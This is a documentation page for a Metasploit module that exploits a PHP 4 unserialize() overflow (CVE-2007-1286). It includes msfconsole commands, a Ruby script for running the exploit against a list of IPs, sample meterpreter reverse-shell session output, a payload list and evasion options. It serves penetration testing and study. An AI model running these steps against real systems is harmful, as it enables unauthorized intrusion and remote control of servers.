PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie) - Metasploit


This page contains detailed information about how to use the exploit/multi/php/php_unserialize_zval_cookie metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)
Module: exploit/multi/php/php_unserialize_zval_cookie
Source code: modules/exploits/multi/php/php_unserialize_zval_cookie.rb
Disclosure date: 2007-03-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2007-1286

This module exploits an integer overflow vulnerability in the unserialize() function of the PHP web server extension. This vulnerability was patched by Stefan in version 4.5.0 and applies all previous versions supporting this function. This particular module targets numerous web applications and is based on the proof of concept provided by Stefan Esser. This vulnerability requires approximately 900k of data to trigger due the multiple Cookie headers requirement. Since we are already assuming a fast network connection, we use a 2Mb block of shellcode for the brute force, allowing quick exploitation for those with fast networks. One of the neat things about this vulnerability is that on x86 systems, the EDI register points into the beginning of the hashtable string. This can be used with an egghunter to quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction is known. The EDI method is faster, but the bandwidth-intensive brute force used by this module is more reliable across a wider range of systems.

Module Ranking and Traits


Module Ranking:

  • average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Basic Usage


Using php_unserialize_zval_cookie against a single host

Normally, you can use exploit/multi/php/php_unserialize_zval_cookie this way:

msf > use exploit/multi/php/php_unserialize_zval_cookie
msf exploit(php_unserialize_zval_cookie) > show targets
    ... a list of targets ...
msf exploit(php_unserialize_zval_cookie) > set TARGET target-id
msf exploit(php_unserialize_zval_cookie) > show options
    ... show and set options ...
msf exploit(php_unserialize_zval_cookie) > exploit

Using php_unserialize_zval_cookie against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your php_unserialize_zval_cookie will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/php/php_unserialize_zval_cookie")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the multi/php/php_unserialize_zval_cookie exploit module looks in the msfconsole:

msf6 > use exploit/multi/php/php_unserialize_zval_cookie

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/php/php_unserialize_zval_cookie) > show info

       Name: PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)
     Module: exploit/multi/php/php_unserialize_zval_cookie
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-03-04

Provided by:
  hdm <[email protected]>
  GML <[email protected]>
  Stefan Esser <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Linux x86 Generic
  2   Linux x86 phpBB2
  3   Linux x86 punBB
  4   Linux x86 WWWThreads
  5   Linux x86 Deadman Redirect
  6   Linux x86 PhpWebGallery
  7   Linux x86 Ariadne-CMS
  8   Linux x86 ProMA
  9   Linux x86 eGroupware

Check supported:
  Yes

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  COOKIENAME                   no        The name of the cookie passed to unserialize()
  Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT       80               yes       The target port (TCP)
  SSL         false            no        Negotiate SSL/TLS for outgoing connections
  URI                          no        The path to vulnerable PHP script
  VHOST                        no        HTTP server virtual host

Payload information:
  Space: 1024

Description:
  This module exploits an integer overflow vulnerability in the 
  unserialize() function of the PHP web server extension. This 
  vulnerability was patched by Stefan in version 4.5.0 and applies all 
  previous versions supporting this function. This particular module 
  targets numerous web applications and is based on the proof of 
  concept provided by Stefan Esser. This vulnerability requires 
  approximately 900k of data to trigger due the multiple Cookie 
  headers requirement. Since we are already assuming a fast network 
  connection, we use a 2Mb block of shellcode for the brute force, 
  allowing quick exploitation for those with fast networks. One of the 
  neat things about this vulnerability is that on x86 systems, the EDI 
  register points into the beginning of the hashtable string. This can 
  be used with an egghunter to quickly exploit systems where the 
  location of a valid "jmp EDI" or "call EDI" instruction is known. 
  The EDI method is faster, but the bandwidth-intensive brute force 
  used by this module is more reliable across a wider range of 
  systems.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-1286
  OSVDB (32771)
  http://www.php-security.org/MOPB/MOPB-04-2007.html

Module Options


This is a complete list of options available in the multi/php/php_unserialize_zval_cookie exploit:

msf6 exploit(multi/php/php_unserialize_zval_cookie) > show options

Module options (exploit/multi/php/php_unserialize_zval_cookie):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   COOKIENAME                   no        The name of the cookie passed to unserialize()
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   URI                          no        The path to vulnerable PHP script
   VHOST                        no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/php/php_unserialize_zval_cookie exploit:

msf6 exploit(multi/php/php_unserialize_zval_cookie) > show advanced

Module advanced options (exploit/multi/php/php_unserialize_zval_cookie):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   BruteStep                                                                   no        Step size between brute force attempts
   BruteWait                                                                   no        Delay between brute force attempts
   CHOST                                                                       no        The local client address
   CPORT                                                                       no        The local client port
   ConnectTimeout          10                                                  yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLCipher                                                                   no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER                                                no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/php/php_unserialize_zval_cookie module can exploit:

msf6 exploit(multi/php/php_unserialize_zval_cookie) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Linux x86 Generic
   2   Linux x86 phpBB2
   3   Linux x86 punBB
   4   Linux x86 WWWThreads
   5   Linux x86 Deadman Redirect
   6   Linux x86 PhpWebGallery
   7   Linux x86 Ariadne-CMS
   8   Linux x86 ProMA
   9   Linux x86 eGroupware

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/php/php_unserialize_zval_cookie exploit:

msf6 exploit(multi/php/php_unserialize_zval_cookie) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   6   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   14  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   15  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   17  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   18  payload/linux/x86/read_file                                        normal  No     Linux Read File
   19  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   20  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   21  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   22  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   23  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   24  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   25  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   26  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   27  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   29  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   30  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   31  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   32  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the multi/php/php_unserialize_zval_cookie exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/php/php_unserialize_zval_cookie) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The COOKIENAME option must be set


Here is a relevant code snippet related to the "The COOKIENAME option must be set" error message:

207:	    #
208:	    cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
209:	    uri_path    = normalize_uri(datastore['URI']) || target['DefaultURI']
210:	
211:	    if(not cookie_name)
212:	      fail_with(Failure::Unknown, "The COOKIENAME option must be set")
213:	    end
214:	
215:	    if(not uri_path)
216:	      fail_with(Failure::Unknown, "The URI option must be set")
217:	    end

The URI option must be set


Here is a relevant code snippet related to the "The URI option must be set" error message:

211:	    if(not cookie_name)
212:	      fail_with(Failure::Unknown, "The COOKIENAME option must be set")
213:	    end
214:	
215:	    if(not uri_path)
216:	      fail_with(Failure::Unknown, "The URI option must be set")
217:	    end
218:	
219:	    res = send_request_cgi({
220:	      'uri'		  => uri_path,
221:	      'method'	  => 'GET'

No response from the server


Here is a relevant code snippet related to the "No response from the server" error message:

222:	    }, 5)
223:	
224:	    php_bug = false
225:	
226:	    if (not res)
227:	      vprint_status("No response from the server")
228:	      return Exploit::CheckCode::Unknown # User should try again
229:	    end
230:	
231:	    http_fingerprint({ :response => res })  # check method
232:	

Did not detect target <TARGET.NAME>


Here is a relevant code snippet related to the "Did not detect target <TARGET.NAME>" error message:

259:	
260:	    if(target and target['Signature'])
261:	      if (res.body and res.body.match(target['Signature']))
262:	        vprint_status("Detected target #{target.name}")
263:	      else
264:	        vprint_status("Did not detect target #{target.name}")
265:	      end
266:	
267:	    end
268:	
269:	    return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected

The COOKIENAME option must be set


Here is a relevant code snippet related to the "The COOKIENAME option must be set" error message:

311:	    #
312:	    cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
313:	    uri_path    = normalize_uri(datastore['URI']) || target['DefaultURI']
314:	
315:	    if(not cookie_name)
316:	      fail_with(Failure::Unknown, "The COOKIENAME option must be set")
317:	    end
318:	
319:	    if(not uri_path)
320:	      fail_with(Failure::Unknown, "The URI option must be set")
321:	    end

The URI option must be set


Here is a relevant code snippet related to the "The URI option must be set" error message:

315:	    if(not cookie_name)
316:	      fail_with(Failure::Unknown, "The COOKIENAME option must be set")
317:	    end
318:	
319:	    if(not uri_path)
320:	      fail_with(Failure::Unknown, "The URI option must be set")
321:	    end
322:	
323:	    # Generate and reuse the original buffer to save CPU
324:	    if (not @saved_cookies)
325:	

The server returned a non-200 response, indicating that the exploit failed


Here is a relevant code snippet related to the "The server returned a non-200 response, indicating that the exploit failed" error message:

396:	      failed = false
397:	
398:	      print_status("Received a response: #{res.code} #{res.message}")
399:	
400:	      if (res.code != 200)
401:	        print_error("The server returned a non-200 response, indicating that the exploit failed")
402:	        failed = true
403:	      end
404:	
405:	      if (not failed and (res.body and res.body.length > 0))
406:	        print_error("The server returned a real response, indicating that the exploit failed")

The server returned a real response, indicating that the exploit failed


Here is a relevant code snippet related to the "The server returned a real response, indicating that the exploit failed" error message:

401:	        print_error("The server returned a non-200 response, indicating that the exploit failed")
402:	        failed = true
403:	      end
404:	
405:	      if (not failed and (res.body and res.body.length > 0))
406:	        print_error("The server returned a real response, indicating that the exploit failed")
407:	        failed = true
408:	      end
409:	
410:	      if (failed)
411:	        print_status("Please verify the URI and COOKIENAME parameters.")

Exploit settings are probably wrong


Here is a relevant code snippet related to the "Exploit settings are probably wrong" error message:

413:	        print_line("*" * 40)
414:	        print_line(res.body)
415:	        print_line("*" * 40)
416:	        print_line('')
417:	
418:	        fail_with(Failure::Unknown, "Exploit settings are probably wrong")
419:	      end
420:	    else
421:	      print_status("No response from the server")
422:	    end
423:	

No response from the server


Here is a relevant code snippet related to the "No response from the server" error message:

416:	        print_line('')
417:	
418:	        fail_with(Failure::Unknown, "Exploit settings are probably wrong")
419:	      end
420:	    else
421:	      print_status("No response from the server")
422:	    end
423:	
424:	  end
425:	
426:	  def encode_semis(str)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • hdm
  • GML <grandmasterlogic[at]gmail.com>
  • Stefan Esser <sesser[at]hardened-php.net>

Version


This page has been produced using Metasploit Framework version 6.1.31-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.